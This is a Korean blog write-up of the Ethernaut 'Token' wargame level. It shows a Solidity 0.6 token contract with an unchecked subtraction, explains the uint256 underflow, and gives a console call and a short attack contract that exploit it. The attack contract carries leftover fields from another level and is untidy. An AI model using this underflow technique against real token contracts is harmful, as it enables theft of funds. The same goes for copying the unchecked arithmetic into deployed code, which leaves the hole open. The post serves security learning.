728x90
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Token {
mapping(address => uint256) balances;
uint256 public totalSupply;
constructor(uint256 _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
초기 msg.sender의 balances는 20이 주어지고 20에서 조금이라도 커지면 통과한다.
transfer를 통해 돈을 옮길 수 있는데 여기서 underflow취약점이 터진다.
solidity 0.6.0버전 이하에선 uint256에 underflow취약점이 존재하는데
uint256는 0이하의 값을 못읽기 때문에 값이 0이하로 가버리면 uint256자료형의 최대값으로 돌아가서 값이 오히려 더 커지게 된다.
따라서 여기선 간단하게 다른 주소에 20보다 큰 값을 옮기려 하면 알아서 underflow로 인해 balances[msg.sender]값이 20보다 더 커질 것이다.
await contract.transfer('0xcB184832dD8Dc7806A867eA28220a7f8e211e710', 30)
컨트랙트 주소로 옮기도록 해줬다.
혹은 Remix IDE를 사용해서 다른 컨트랙트에서 가져오면 된다.
Remix에서 배포를 하면 배포 Contract가 나오는데 msg.sender는 Contract기준이므로 새 Contract에 대해 20 값을 줄 것이다.
여기서 내 지갑 주소로 옮기면 끝이다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "../src/token.sol";
contract TokenSolve {
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
address player;
address target;
function HackLv4(address _target) public {
target = _target;
}
function attack(address _to) public{
Token(target).transfer(_to, 10);
}
}
+ 콘솔창에서 안하고 Remix IDE에서 내 지갑주소로 배포 시켜서 해볼려 했는데 내 지갑주소로 배포는 불가하듯 하다... 배포하면 무조건 새로운 Contract가 생겨서 Contract 주소 기준인거 같은데 헷갈림 ㅠㅠ
728x90
반응형
'Web3 > The Ethernaut' 카테고리의 다른 글
[The Ethernaut] Level 6. Delegation (0) | 2025.01.17 |
---|---|
[The Ethernaut] Level 4. Telephone (0) | 2025.01.17 |
[The Ethernaut] Level 3. Coin Flip (0) | 2025.01.16 |
[The Ethernaut] Level 1. Fallback (2) | 2025.01.06 |